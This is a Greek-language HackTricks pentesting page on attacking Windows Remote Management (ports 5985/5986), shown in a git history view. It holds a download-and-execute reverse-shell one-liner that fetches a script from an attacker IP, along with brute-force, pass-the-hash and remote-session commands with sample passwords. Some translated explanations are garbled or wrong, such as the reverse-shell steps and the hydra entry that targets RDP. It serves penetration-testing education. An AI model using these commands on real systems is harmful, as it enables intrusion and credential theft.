hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

373 lines
27 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# 5985,5986 - Ελέγχος ασφάλειας του WinRM
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
Εγγραφείτε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Εισαγωγή στο Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
2023-07-14 15:03:41 +00:00
2024-02-10 22:40:18 +00:00
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών
2023-07-14 15:03:41 +00:00
2024-02-10 22:40:18 +00:00
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
2024-02-10 22:40:18 +00:00
Το [Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) είναι ένα πρωτόκολλο της **Microsoft** που επιτρέπει την **απομακρυσμένη διαχείριση των συστημάτων Windows** μέσω HTTP(S), εκμεταλλευόμενο το SOAP στη διαδικασία. Βασίζεται ουσιαστικά στο WMI, παρουσιάζοντας τον εαυτό του ως μια διεπαφή βασισμένη σε HTTP για λειτουργίες WMI.
2024-02-10 22:40:18 +00:00
Η παρουσία του WinRM σε ένα μηχάνημα επιτρέπει την απλή απομακρυσμένη διαχείριση μέσω PowerShell, παρόμοια με το πώς λειτουργεί το SSH για άλλα λειτουργικά συστήματα. Για να διαπιστωθεί εάν το WinRM είναι λειτουργικό, συνιστάται ο έλεγχος για το άνοιγμα συγκεκριμένων θυρών:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
2024-02-10 22:40:18 +00:00
Μια ανοιχτή θύρα από την παραπάνω λίστα υποδηλώνει ότι το WinRM έχει διαμορφωθεί, επιτρέποντας έτσι την προσπάθεια έναρξης μιας απομακρυσμένης συνεδρίας.
2024-02-10 22:40:18 +00:00
### **Έναρξη μιας συνεδρίας WinRM**
2024-02-10 22:40:18 +00:00
Για να διαμορφώσετε το PowerShell για το WinRM, χρησιμοποιείται το `Enable-PSRemoting` cmdlet της Microsoft, το οποίο ρυθμίζει τον υπολογιστή για να αποδέχεται απομακρυσμένες εντολές PowerShell. Με αυξημένη πρόσβαση στο PowerShell, μπορούν να εκτελεστούν οι παρακάτω εντολές για να ενεργοποιηθεί αυτή η λειτουργικότητα και να οριστεί οποιοδήποτε υπολογιστής ως αξιόπιστος:
2024-02-08 21:36:35 +00:00
```powershell
2024-02-10 22:40:18 +00:00
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
2024-02-10 22:40:18 +00:00
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός μπαλαντέρ στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική σκέψη λόγω των επιπτώσεών του. Επίσης, σημειώνεται ότι μπορεί να είναι απαραίτητη η αλλαγή του τύπου δικτύου από "Δημόσιο" σε "Εργασία" στον υπολογιστή του επιτιθέμενου.
2024-02-10 22:40:18 +00:00
Επιπλέον, το WinRM μπορεί να ενεργοποιηθεί απομακρυσμένα χρησιμοποιώντας την εντολή `wmic`, όπως παρουσιάζεται παρακάτω:
2024-02-08 21:36:35 +00:00
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
2024-02-10 22:40:18 +00:00
Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, βελτιώνοντας την ευελιξία στη διαχείριση των μηχανημάτων Windows από απόσταση.
2024-02-08 21:36:35 +00:00
2024-02-10 22:40:18 +00:00
### Έλεγχος αν είναι ρυθμισμένο
2024-02-08 21:36:35 +00:00
2024-02-10 22:40:18 +00:00
Για να επαληθεύσετε τη ρύθμιση του μηχανήματος επίθεσης, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμιστεί σωστά για το WinRM. Εκτελώντας αυτήν την εντολή, θα πρέπει να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, που υποδεικνύουν επιτυχή ρύθμιση. Παρακάτω παρουσιάζονται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο έναντι ενός μη ρυθμισμένου:
2024-02-08 21:36:35 +00:00
2024-02-10 22:40:18 +00:00
- Για έναν στόχο που **είναι** σωστά ρυθμισμένος, η έξοδος θα μοιάζει με αυτήν:
2024-02-08 21:36:35 +00:00
```bash
Test-WSMan <target-ip>
```
2024-02-10 22:40:18 +00:00
Η απόκριση θα περιέχει πληροφορίες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, που υποδηλώνει ότι το WinRM έχει ρυθμιστεί σωστά.
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (161) (1).png>)
2024-02-10 22:40:18 +00:00
- Αντίθετα, για έναν στόχο που **δεν** έχει ρυθμιστεί για το WinRM, δεν θα υπάρχουν τέτοιες λεπτομερείς πληροφορίες, υποδεικνύοντας την απουσία μιας κατάλληλης ρύθμισης του WinRM.
2024-02-08 21:36:35 +00:00
![](<../.gitbook/assets/image (162).png>)
2024-02-10 22:40:18 +00:00
### Εκτέλεση ενός εντολής
2024-02-10 22:40:18 +00:00
Για να εκτελέσετε απομακρυσμένα την εντολή `ipconfig` σε έναν στόχο μηχανής και να δείτε την έξοδό της, κάντε:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
2022-07-28 09:46:19 +00:00
![](<../.gitbook/assets/image (163) (1).png>)
2024-02-10 22:40:18 +00:00
Μπορείτε επίσης να **εκτελέσετε έναν εντολή από την τρέχουσα κονσόλα του PowerShell μέσω** της _**Invoke-Command**_. Υποθέστε ότι έχετε τοπικά μια συνάρτηση με το όνομα _**enumeration**_ και θέλετε να την **εκτελέσετε σε έναν απομακρυσμένο υπολογιστή**, μπορείτε να το κάνετε:
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2024-02-10 22:40:18 +00:00
### Εκτέλεση ενός σεναρίου
Για να εκτελέσετε ένα σενάριο στον στόχο σας μέσω του WinRM, μπορείτε να χρησιμοποιήσετε την εντολή `Invoke-Command`. Αυτή η εντολή σάς επιτρέπει να εκτελέσετε εντολές PowerShell σε απομακρυσμένους υπολογιστές.
Για να εκτελέσετε ένα σενάριο, ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα παράθυρο PowerShell και συνδεθείτε στον στόχο σας μέσω του WinRM, χρησιμοποιώντας την εντολή `Enter-PSSession` ή `New-PSSession`.
2024-02-10 22:40:18 +00:00
2. Χρησιμοποιήστε την εντολή `Invoke-Command` για να εκτελέσετε το σενάριο. Παράδειγμα:
2024-02-10 22:40:18 +00:00
```powershell
Invoke-Command -FilePath C:\path\to\script.ps1
```
Στην παραπάνω εντολή, αντικαταστήστε το `C:\path\to\script.ps1` με το πραγματικό μονοπάτι του σεναρίου που θέλετε να εκτελέσετε.
3. Αναμένετε την ολοκλήρωση της εκτέλεσης του σεναρίου και ελέγξτε τα αποτελέσματα.
Με αυτόν τον τρόπο, μπορείτε να εκτελέσετε οποιοδήποτε σενάριο PowerShell στον στόχο σας μέσω του WinRM.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
2024-02-10 22:40:18 +00:00
### Λήψη αντίστροφου κέλυφους
2024-02-10 22:40:18 +00:00
Για να λάβετε ένα αντίστροφο κέλυφος, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:
2024-02-10 22:40:18 +00:00
1. Εκτελέστε την εντολή `winrm quickconfig` στον στόχο σας για να ενεργοποιήσετε την υπηρεσία WinRM.
2. Χρησιμοποιήστε την εντολή `winrm set winrm/config/client/auth @{Basic="true"}` για να ενεργοποιήσετε την βασική πιστοποίηση.
3. Εκτελέστε την εντολή `winrm set winrm/config/service/auth @{Basic="true"}` για να ενεργοποιήσετε την βασική πιστοποίηση για την υπηρεσία WinRM.
4. Χρησιμοποιήστε την εντολή `winrm set winrm/config/service @{AllowUnencrypted="true"}` για να επιτρέψετε τη μη κρυπτογραφημένη επικοινωνία.
5. Εκτελέστε την εντολή `winrm create winrm/config/listener?Address=*+Transport=HTTP` για να δημιουργήσετε έναν ακροατή WinRM για μη κρυπτογραφημένη επικοινωνία.
Αφού ολοκληρώσετε αυτά τα βήματα, μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το `evil-winrm` για να συνδεθείτε στον στόχο και να λάβετε ένα αντίστροφο κέλυφος.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
2024-02-10 22:40:18 +00:00
### Λήψη μιας συνεδρίας PS
2024-02-10 22:40:18 +00:00
Για να λάβετε μια διαδραστική κέλυφος PowerShell, χρησιμοποιήστε την εντολή `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
2024-02-10 22:40:18 +00:00
# Save session in var
2022-10-30 16:20:17 +00:00
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
2024-02-10 22:40:18 +00:00
**Η συνεδρία θα εκτελεστεί σε ένα νέο διεργασία (wsmprovhost) μέσα στον "θύμα"**
2024-02-10 22:40:18 +00:00
### **Εξαναγκασμός του WinRM να είναι ανοιχτός**
2024-02-10 22:40:18 +00:00
Για να χρησιμοποιήσετε το PS Remoting και το WinRM αλλά ο υπολογιστής δεν είναι διαμορφωμένος, μπορείτε να το ενεργοποιήσετε με:
2024-02-08 21:36:35 +00:00
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2024-02-10 22:40:18 +00:00
### Αποθήκευση και Επαναφορά συνεδριών
2024-02-10 22:40:18 +00:00
Αυτό **δεν θα λειτουργήσει** αν η **γλώσσα** είναι **περιορισμένη** στον απομακρυσμένο υπολογιστή.
2024-02-08 21:36:35 +00:00
```powershell
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
2024-02-10 22:40:18 +00:00
Μέσα σε αυτές τις συνεδρίες μπορείτε να φορτώσετε PS scripts χρησιμοποιώντας την εντολή _Invoke-Command_.
2024-02-08 21:36:35 +00:00
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2024-02-10 22:40:18 +00:00
### Σφάλματα
2024-02-10 22:40:18 +00:00
Εάν αντιμετωπίσετε το παρακάτω σφάλμα:
2024-02-10 22:40:18 +00:00
`enter-pssession : Αποτυχία σύνδεσης με τον απομακρυσμένο διακομιστή 10.10.10.175 με το ακόλουθο μήνυμα σφάλματος: Ο πελάτης WinRM δεν μπορεί να επεξεργαστεί το αίτημα. Εάν το σχήμα πιστοποίησης είναι διαφορετικό από το Kerberos, ή εάν ο υπολογιστής του πελάτη δεν είναι ενταγμένος σε έναν τομέα, τότε πρέπει να χρησιμοποιηθεί μεταφορά HTTPS ή η μηχανή προορισμού πρέπει να προστεθεί στη ρύθμιση διαμόρφωσης TrustedHosts. Χρησιμοποιήστε την εντολή winrm.cmd για να διαμορφώσετε τους TrustedHosts. Σημειώστε ότι οι υπολογιστές στη λίστα TrustedHosts ενδέχεται να μην έχουν πιστοποίηση. Μπορείτε να λάβετε περισσότερες πληροφορίες για αυτό εκτελώντας την ακόλουθη εντολή: winrm help config. Για περισσότερες πληροφορίες, ανατρέξτε στο θέμα βοήθειας about_Remote_Troubleshooting.`
2024-02-10 22:40:18 +00:00
Δοκιμάστε στον πελάτη (πληροφορίες από [εδώ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.
2022-10-27 23:22:18 +00:00
2024-02-10 22:40:18 +00:00
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ανακοινώσεις για ευρήματα ασφαλείας και σημαντικές ενημερώσεις της πλατφόρμας.
2023-07-14 15:03:41 +00:00
2024-02-10 22:40:18 +00:00
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
2022-10-27 23:22:18 +00:00
2024-02-10 22:40:18 +00:00
## Σύνδεση WinRM σε Linux
2024-02-10 22:40:18 +00:00
### Βίαιη Δοκιμή
2020-09-20 21:41:33 +00:00
2024-02-10 22:40:18 +00:00
Προσέξτε, η βίαιη δοκιμή του WinRM μπορεί να αποκλείσει τους χρήστες.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2024-02-10 22:40:18 +00:00
### Χρήση του evil-winrm
Το evil-winrm είναι ένα εργαλείο που χρησιμοποιείται για την εκτέλεση επιθέσεων στο πρωτόκολλο WinRM. Αυτό το πρωτόκολλο επιτρέπει την απομακρυσμένη διαχείριση των Windows συστημάτων.
Για να χρησιμοποιήσετε το evil-winrm, ακολουθήστε τα παρακάτω βήματα:
2020-09-20 21:41:33 +00:00
2024-02-10 22:40:18 +00:00
1. Κατεβάστε και εγκαταστήστε το evil-winrm στον υπολογιστή σας.
2. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `evil-winrm -i <IP_στόχου> -u <όνομαρήστη> -p <κωδικός_πρόσβασης>` για να συνδεθείτε στο σύστημα στόχο.
3. Αν ο συνδεδεμένος χρήστης έχει δικαιώματα διαχειριστή, τότε θα έχετε πλήρη πρόσβαση στο σύστημα και θα μπορείτε να εκτελέσετε εντολές και να πραγματοποιήσετε αλλαγές.
2024-02-10 22:40:18 +00:00
Το evil-winrm είναι ένα ισχυρό εργαλείο που μπορεί να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών στο πρωτόκολλο WinRM και την απόκτηση απομακρυσμένης πρόσβασης σε συστήματα Windows. Ωστόσο, πρέπει να χρησιμοποιείται με προσοχή και μόνο για νόμιμους σκοπούς, όπως η δοκιμή ασφαλείας και η πεντεστική διαδικασία.
```ruby
gem install evil-winrm
```
2024-02-10 22:40:18 +00:00
Διαβάστε την **τεκμηρίωση** στο github του: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
2024-02-10 22:40:18 +00:00
Για να χρησιμοποιήσετε το evil-winrm για να συνδεθείτε σε μια **διεύθυνση IPv6**, δημιουργήστε μια καταχώρηση μέσα στο _**/etc/hosts**_ που θα ορίζει ένα **ονοματικό πεδίο** για τη διεύθυνση IPv6 και συνδεθείτε σε αυτό το πεδίο.
2024-02-10 22:40:18 +00:00
### Διέλευση του hash με το evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (173).png>)
2024-02-10 22:40:18 +00:00
### Χρήση ενός PS-docker μηχανής
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2024-02-10 22:40:18 +00:00
### Χρήση ενός ruby script
2024-02-10 22:40:18 +00:00
**Κώδικας εξαγμένος από εδώ: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
2024-02-05 02:28:59 +00:00
# https://alamot.github.io/winrm_shell/
2024-02-10 22:40:18 +00:00
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
2024-02-10 22:40:18 +00:00
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
2024-02-10 22:40:18 +00:00
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2024-02-10 22:40:18 +00:00
## Αναφορές
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
2024-02-10 22:40:18 +00:00
## Αυτόματες Εντολές HackTricks
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
2024-02-10 22:40:18 +00:00
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
2021-08-15 17:09:57 +00:00
2024-02-10 22:40:18 +00:00
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
2021-08-15 17:09:57 +00:00
2024-02-10 22:40:18 +00:00
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
2021-08-15 17:09:57 +00:00
2024-02-10 22:40:18 +00:00
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
2021-08-15 17:09:57 +00:00
2024-02-10 22:40:18 +00:00
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
2021-08-15 17:09:57 +00:00
2024-02-10 22:40:18 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
2024-02-10 22:40:18 +00:00
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-10 22:40:18 +00:00
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.
2022-10-27 23:22:18 +00:00
2024-02-10 22:40:18 +00:00
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο χάκινγκ κόσμο μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ευρήματα ασφαλείας που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών.
2023-02-27 09:28:45 +00:00
2024-02-10 22:40:18 +00:00
**Συμμετέχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>